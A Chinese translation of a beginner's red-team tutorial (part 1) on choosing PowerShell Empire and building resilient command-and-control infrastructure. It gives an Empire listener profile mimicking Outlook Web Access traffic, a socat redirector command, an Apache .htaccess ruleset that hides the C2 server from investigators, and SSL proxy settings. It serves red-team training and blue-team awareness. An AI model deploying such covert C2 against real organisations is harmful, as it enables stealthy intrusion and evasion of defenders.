红队技术从零到一 part 1

Change 专题 2018年10月7日发布
Favorite收藏

导语:这篇文章特别针对那些希望深入研究红队并从传统渗透测试向前迈进一步的初学者。对于蓝队/突破响应团队/SOC分析师来说,可以帮助我们了解其动机/方法,并做好应对红队或现实对手的准备。

前言

这篇文章特别针对那些希望深入研究红队并从传统渗透测试向前迈进一步的初学者。对于蓝队/突破响应团队/SOC分析师来说,可以帮助我们了解其动机/方法,并做好应对红队或现实对手的准备。以下是我决定进入红队时的经验总结。这是一个很长的文章,所以最好先拿一杯咖啡,然后继续阅读。

什么是红队?

根据Redteamsecure.com的定义,红队是一种全范围的多层攻击模拟,旨在衡量公司的人员和网络、应用程序和物理安全控制,用以抵御现实对手的攻击。

在红队交战期间,训练有素的安全顾问会制定攻击方案,以揭示潜在的物理、硬件、软件和人为漏洞。红队的参与也为坏的行为者和恶意内部人员提供了机会来破坏公司的系统和网络,或者损坏其数据。

渗透性测试VS红队技术

渗透性测试(penetration test,PT)可以定义为对组织安全状况的评估,该安全状态以受控方式执行,并且通常由安全管理员指定和管理。完成项目的指定时间和范围非常有限,通常不会考虑社会工程、恶意软件执行等现实对手。大多数情况下,你将为指定的网络范围、Web应用程序、移动应用程序、无线应用程序等执行PT,并且所有与该特定范围相关的人员将获得一个预先的信息,即进行PT的日期。客户端还会将PT团队的公共IP地址列入白名单,以便他们可以确定只有指定的PT团队正在攻击它们。

在PT中,通常你不会超越开发阶段。如果你在执行PT时在远程计算机上获得shell访问权限,那么大多数情况下,客户不希望你再继续下去,并且要求就在那里停止它。如果你获得了一系列内部/外部IP地址或多个Web应用程序,则必须尝试在所有这些地址中查找漏洞,你不能错过它们中的任何一个。

在如今社会的发展趋势下,有国家赞助的黑客/APT小组随时准备破坏他们想要破坏的任何组织,并且他们没有受到上述任何限制,这不是开玩笑!

当真正的攻击者想要闯入一个组织时,他/她将不会采用传统的PT过程和方法。攻击者会尽一切努力进入组织并泄露数据或破坏组织的声誉,并且在尝试以任何方式进入内部之前,他可能会计划数周甚至数月。这是传统的PT和红队之间的区别。

红队充当真实且有动力的攻击者。大多数时候,红队攻击范围很大,整个环境都在范围内,他们的目标是渗透,维持持久性、中心性、可撤退性,以确认一个顽固的敌人能做什么。所有策略都可用,包括社会工程。最终红队会到达他们拥有整个网络的目的,否则他们的行动将被捕获,他们将被所攻击网络的安全管理员阻止,届时,他们将向管理层报告他们的调查结果,以协助提高网络的安全性。

红队的主要目标之一是即使他们进入组织内部也要保持隐身。渗透测试人员在网络上表现不好,并且可以很容易的被检测到,因为他们采用传统的方式进入组织,而红队队员是隐秘的、快速的,并且在技术上具备了规避AV、端点保护解决方案、防火墙和组织已实施的其他安全措施的知识。

故此,红色团队所需的技能组合和方法与PT完全不同。

红队应该做什么?

它可以大致分为这些类别:

· Reconnaissance/侦察:使用被动和主动侦察技术收集有关员工、管理人员、技术堆栈、安全设备等的信息。

· Physical security/物理安全:物理地映射建筑物,绕过或克隆RFID /生物识别、开锁等。

· Social Engineering/社会工程:通过有针对性的网络钓鱼、进入建筑物/ODC、假冒调查、植入网络植入物、Dumspter潜水等方式进行恶意软件交付/凭证记录。

· Exploitation/开发:有效负载交付和执行,隐身C&C服务器通信。

· Persistence/持久化:特权升级,维持持久性和透视。

· Post-Exploitation/后开发:横向移动和数据泄露。

目的

可以从外部渗透到一个组织的日子已经一去不复返了,现在大多数暴露的外部网络节点和Web应用程序都非常安全。成功的唯一选择是,我们能够以某种方式在一个将与我们连接回去的组织内部执行我们的有效负载。要绕过现有的现代端点保护、代理、IDS和所有其他安全设备,需要大量的工作和实践。有效载荷必须避开所有已到位的安全装置,同时保持隐蔽性,并且不向蓝队/SOC小队触发任何重大警报。

本文的目的是在目标组织的网络中获得初步立足点,同时保持隐藏状态。许多组织现在更喜欢“假设破坏”红队演习,他们假设自己已经被攻破,并且攻击者可以通过Post-Exploitation造成伤害。在本问中,我们仅讨论这些小节下划分的开发阶段:

1.C2/Post-Exploitation框架选择

2.C2基础设施设置

3.有效负载创建

4.有效负载交付

5.AV/端点保护/NIDS规避

在网络中获得初步立足点之后,我们的目标是在该组织内进行特权升级,转动,横向移动,最后将敏感数据泄露出去。

我们假定目标机构是一家拥有所有安全产品和政策的《财富》500强公司。

1. C2 /POST-EXPLOITATION框架选择

在红队参与过程中,选择正确的C2框架是最重要的一步。正确的C2框架必须具有灵活性、敏捷性和抗弹性,以防止蓝队的预防措施。它必须站立并持续数周或数月,直到红队参与活跃。不要在红队参与期间使用Metasploit。因为,虽然对于传统的PT来说,它是一个很好的开发框架,但是当谈到持续数周到数月的交战时,那么Metasploit并不是一个好的工具。我们可以编写自己的框架,也可以使用已经过试验和测试过的东西。所以,编写自己的C2框架将是另一个大项目,需要大量的专业知识和时间。我们选择了已经可供全球各地专家使用的东西。

经过大量的搜索和讨论,我将其归结为两个选项:

· CobaltStrike:红色团队合作的最佳框架,有很多令人惊叹的功能,并且你在其他任何地方都找不到。不得不说,创造了这个这么好的工具是值得称赞的。当然了,好的东西不一定能免费拿,它的价格为3500美元/年。

· powershell Empire:另一个伟大的工具,可用于创建有效载荷和后期利用。Empire是一个纯粹的PowerShell后期开发代理,建立在密码安全通信和灵活的架构之上。比较好的一点是它是开源的,完全免费的。(感谢这些人创造了这个非常棒的工具:@harmj0y,@sixdub,@enigma0x3等等)。

我们现在将使用powershell Empire,因为它是一个免费提供的神奇工具,它是开源的,可供所有人使用。最好去Empire官方网站查看一下,他们在那里保留了非常简洁的使用文档。

不过,我想提一下为什么我选择PowerShell Empire作为一个合适的post-exploitation框架:

· 灵活有弹性:与Metasploit不同,如果你的听众掉线了一次,你就会失去连接。Empire代理可以继续尝试与你通信,直到它完成你在设置有效负载时定义的连接尝试次数。代理信息存储在sqlite文件中,当你再次启动Empire时可以获取该文件。一旦为侦听器定义了参数,除非你有其它明确的指令,否则它不会更改,这就不需要你一次又一次的设置监听器了。因为它是开源和模块化的,你可以在Empire内部使用自己的powershell脚本。

· 使用powershell和Python:考虑到这一点,我们的目标是一个组织,而且大多数时候,他们的基础设施主要由windows系统组成,使用powershell是一个安全的选择。Empire至少需要PowerShell v2.0来运行,它可以从Win Vista到Win 10运行,但它在Win XP系统上不起作用。它还提供了绕过在许多组织中的应用程序白名单的优势,因为PowerShell默认可用,而且我们不会删除或执行任何新的可执行文件。对于任何基于unix的主机,我们可以使用基于python Empire代理。

· 代理感知有效载荷:它自动从当前正在使用的系统中获取代理和缓存的凭据,并使用它来与C2服务器通信。许多传统工具和有效载荷在这里都失败了,因为除非有明确的指定,否则它们无法自动获取代理。我们的目标是一家财富500强公司,它肯定会使用代理服务器来处理任何类型的网络请求。

· 可扩展C2配置文件:C2配置文件表示与C2通信的代理中的指示符。它包括监听器协议,http url,用户代理,回调时间,丢失限制,抖动,加密密钥等。AV供应商根据这些指标编写签名。很多时候,如果使用默认参数的话,会导致检测、删除有效载荷并阻塞组织与C2域之间的通信。在创建有效载荷以避开检测时,可以更改这些指示符。

· 可以在不运行powershell.exe的情况下运行powershell代理:由于PowerShell被恶意软件使用者严重滥用,许多组织要么完全阻止powershell.exe执行,要么记录从powershell.exe发出的每个活动。然后将其交给一个中央日志分析工具,该工具可能会对任何可疑活动发出警报。为了解决这个问题,我们实际上可以在不运行powershell.exe的情况下启动powershell,Empire可以帮助我们实现。

· 预先加载了Invoke-Obfuscation模块:Empire有一个选项来混淆不同级别的所有源代码、堆栈和有效载荷,在规避基于签名的AV检测过程中有很多帮助。

· 可靠的持久性模块:它有几个非常可靠的持久性模块,可以很好的工作,使用WMI进行持久化是我最喜欢的模块之一。

· 大量的后期开发模块:它有许多用PowerShell编写的优秀后期开发模块,可用于信息收集,横向移动,散列转储和系统管理。

· 不同的监听器选项:与Metasploit保持与C2服务器的恒定TCP连接不同,Empire可以在HTTP上通过自定义延迟和抖动进行通信,从而使检测C2通信变得非常困难。它有很多侦听器选项,其中包括http_hop甚至Dropbox作为C2。

Empire_home_page.png

powershell Empire

Empire-http_listener_options-768x661.pngEmpire http侦听器选项

empire_stager_options.png

Empire中不同的有效载荷生成选项

Empire_listener_options.png

不同的Empire侦听器

2. C2基础设施

我们的C2(命令和控制)基础设施将包括我们的C2服务器、重定向器、网络钓鱼服务器和有效载荷交付服务器。对于红队的参与,我们需要部署一个Resilient C2基础设施,可以持续数周或数月,具体取决于参与的持续时间。基础设施必须灵活且足够强大,以抵御蓝队的预防行动。

例如,当蓝队发现组织已被泄露并且且开始识别C2流量时,他们将开始阻止你的C2域作为预防措施。你的C2基础设施应该是这样的,当蓝队开始战役时,它应该保持站立。

Traditional_pentest.png

传统渗透性测试基础设施

@bluescreenofjeff已经写了一篇关于如何设计弹性C2的博文。本文的这一部分受到他的工作的启发,我建议大家阅读这篇文章后看看他的博客,我在这里以更简洁的方式重复一些设计考虑因素,这是我辛苦学到的:

2.1 隔离

你必须在参与期间设置多个C2服务器、多个重定向器、网络钓鱼服务器或有效载荷交付服务器,所有这一切都必须在不同的服务器上。我们需要将我们的基础设施分开,因为这将为我们提供所需的灵活性和弹性。例如,如果你的网络钓鱼服务器在广告系列期间被捕获,并且蓝队阻止了电子邮件发送域,你也不会失去对已经拥有的主机的控制权,因为你的C2服务器托管在不同的服务器和域上。

你的短途和长途C2服务器也应托管在不同的域上。通常,短途C2在交战过程中很容易被抓住。短途和长途C2之间的隔离可以让你长时间坚持下去。

短距离C2服务器是那种每隔几秒就会收到回调的服务器,这将被用来在受害者的机器上实时执行命令。长途C2服务器是每隔几个小时就会收到回调的服务器,这将有助于我们坚持并规避恶意流量检测。

隔离你的infra会为你提供灵活性和抵御蓝队预防措施的能力。以下是现代红队基础设施的示例图。

redteam_infra.png

简单的红队基础设施

2.2 重定向

重定向器可以放置在每个C2服务器的前面,以保护我们的核心基础架构不被识别和阻止。在C2服务器前使用重定向器有很多优点:

· 防止识别我们的核心C2基础设施:即使蓝队发现哪些域的恶意软件正在与之通信,我们的核心基础设施也将保持隐藏状态。如果他们开始阻止域,我们可以快速切换到实时在不同域上运行的不同重定向器。这将节省我们使用C2框架和所需工具设置另一台服务器的工作量和时间。

· 混乱:当他们开始调查并开始刻录我们的域名时,他们可能会感到困惑。只有C2流量会被重定向到原始C2服务器,但如果其他人试图调查C2域,重定向器服务器会将流量重定向到另一个合法网站。

我们可以实现两种不同的重定向:

2.2.1 哑管重定向

我们可以使用Socat或IPtables执行转储管道重定向,它会将所有传入流量转发到C2服务器。使用转储管道重定向器的唯一优势是我们原来的C2服务器将保持隐藏状态。它可以使用IPtables或Socat实现,Socat更容易在iptable中使用该配置规则。Socat是一个基于命令行的实用程序,它建立两个双向字节流并在它们之间传输数据。

这是Socat的基本语法,它将端口80上的所有传入TCP流量转发到端口80上的指定远程主机。

Socat TCP4-LISTEN:80,fork TCP4:<REMOTE-HOST-IP-ADDRESS>:80

dumb_pipe_redirection123.png

哑管重定向

2.2.2 智能重定向

智能重定向意味着将所有C2流量转发到C2服务器,并将所有其他流量重定向到合法网站。这会阻止蓝队调查企图发现我们的C2,访问C2域的任何人都将被重定向到另一个合法站点。这同样适用于curl,wget或任何Web扫描仪等工具,这可以提高C2基础架构的弹性。

smart_redirection123.png

智能重定向

实现智能重定向的最简单方法之一是使用mod_rewrite。

mod_rewrite能够根据请求属性执行条件重定向,例如URI、用户代理、查询字符串、操作系统和IP。Apache mod_rewrite使用htaccess文件来配置Apache应如何处理每个传入请求的规则集。

首先,我们必须根据我们尝试融入的网络流量来定制我们的Empire C2。在这个例子中,我尝试将我的C2流量模拟为Microsoft实时电子邮件流量。你可以根据你要模拟的Web服务更改用户代理、Web URL和服务器标头。如果任何工具或个人正在监控http网络流量,它看起来不像是恶意的,因为它与Outlook电子邮件流量类似。

它看起来像是安装在某人桌面或手机上的Outlook应用程序,每隔几分钟就会尝试与收件箱同步。在此示例中,任何与我们的C2流量不匹配的流量都将被重定向到https://login.microsoftonline.com,从而降低了怀疑程度。这篇文章的AV Evasion部分对此进行了更多的讨论。

为了设置智能重定向,你需要配置C2服务器和重定向器服务器。以下是如何配置C2服务器和重定向器服务器以进行智能重定向的确切详细信息。

设置C2服务器

listeners
uselistener http
set Name microsoft
set DefaultJitter 0.6
set DefaultDelay 11
set DefaultProfile /owa/mail/inbox.srf,/owa/mail/drafts.srf,/owa/mail/archive.srf|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; yie11; rv:11.0) like Gecko|Accept:*/*
set Host http://[Redirector-ip]:80

将上述文本保存为microsoft.profile并使用以下命令启动powershell empire。

./empire -r microsoft.profile (would start empire with the microsoft profile)

Agent_setup_options.png

Empire http监听器选项

设置重定向器服务器

· 在/etc/apache2/apache.conf中的<Directory / var / www />中将“AllowOverride None”更改为“AllowOverride All”。

apache.conf_.png

· 为mod_rewrite启用一些apache模块。

sudo a2enmod rewrite proxy proxy_http
sudo service apache2 restart

· 编写.htaccess文件,它将具有所有重定向条件。这部分很棘手,因为如果出现问题,你的C2流量将永远不会转发到原始的C2服务器。如果它正常工作,请仔细检查RewriteCond正则表达式。

RewriteEngine On
#URL condition – Empire’s url structure
RewriteCond %{REQUEST_URI} ^/(owa/mail/inbox.srf|owa/mail/drafts.srf|owa/mail/archive.srf)/?$
#UserAgent condition – Empire agent’s custom user agent
RewriteCond %{HTTP_USER_AGENT} ^Mozilla/5\.0\ \(Windows\ NT\ 6\.1;\ WOW64;\ Trident/7\.0;\ yie11;\ rv:11\.0\)\ like\ Gecko?$
#Redirect the original C2 traffic to this host
RewriteRule ^.*$ http://[C2 server]%{REQUEST_URI} [P]
# Redirect all other traffic here
RewriteRule ^.*$ https://login.microsoftonline.com/? [L,R=302]

· 将此.htaccess文件放在/var/www/html中,并将权限更改为644.重新启动apache webserver。

· 如果一切顺利,当你的代理在受害者的计算机上执行时,你将通过重定向器服务器在原始C2服务器上收到回调。尝试访问重定向器域的任何其他人都将被重定向到https://login.microsoftonline.com。

2.3 为你的C2流量使用SSL

通过https进行C2通信在绕过AV / IDS检测方面具有很大的优势,我们将在AV Evasion部分讨论。

encrypted_C2_communication.png

加密C2通信

以上步骤适用于HTTP流量,但如果我们要使用https以及重定向,则需要按照以下步骤操作:

设置重定向器服务器

· 在重定向器服务器上启用ssl并在ssl配置文件中启用SSLProxyEngine。

a2enmod ssl

· 在/etc/apache2/sites-available/000-default-le-ssl.conf中添加这些行:

SSLProxyEngine On
SSLProxyVerify none
SSLProxyCheckPeerCN off
SSLProxyCheckPeerName off

· 重启apache webserver。

· 在.htaccess中,用这个替换第一个重写规则:

RewriteRule ^.*$ http://[C2 server]:443%{REQUEST_URI} [P]

设置C2服务器

将主机选项设置为https,并将端口设置为443。

ssl_empire_profile.png

用于https重定向的Empire侦听器选项

执行代理,如果一切正常,你的代理将通过https与重定向器服务器通信,然后将流量转发到C2服务器。

2.4 日志管理

在参与过程中,你必须实施某种日志管理过程。记录C2 /重定向器服务器的网络活动有很多优点:

2.4.1 情境意识

你会意识到蓝队的调查工作。日志会为你提供大量信息,比如蓝队到底想在你的服务器上做什么。

他们使用curl/wget吗?他们是否尝试在你的服务器上运行端口扫描?他们是否在你的服务器上运行一些Web漏洞扫描程序/ dirbuster?他们是否尝试从浏览器访问你的服务器?什么是用户代理?他们活跃的时间段是什么时候?他们在什么时区工作?他们的公共IP地址是什么?它与组织的公共IP地址相同吗?他们试图发现什么?它是一个试图侵入你的服务器的外部实体吗?

2.4.2 复原 

你可以轻松找出他们是否已开始尝试发现你的C2服务器,并根据具体情况,你可以在阻止该域之前动态更改代理的C2服务器。Empire为您提供了在不同的侦听器上生成新代理的选项。

redirector_logs.png

重定向器服务器Apache日志

只需查看apache访问日志,你就可以找到很多详细信息,例如IP地址、TimeStamp、访问的Url、响应代码和用户代理。

如果你的Empire代理人以外的任何其他人试图访问网络服务器,这将很容易发出,它的响应代码是'302'。一个简单的'grep'和'cut'将揭示蓝队的调查尝试。

当你拥有大量C2和重新定向服务器时,建议使用中央日志服务器和管理工具,以便在发生任何可疑活动时提醒你。正确的日志管理工具的选择取决于基础设施的大小和您对该工具的熟悉程度,我将这一选择留给你。

本文翻译自:https://payatu.com/redteaming-from-zero-to-one-part-1/如若转载,请注明原文地址: http://www.4hou.com/technology/13350.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论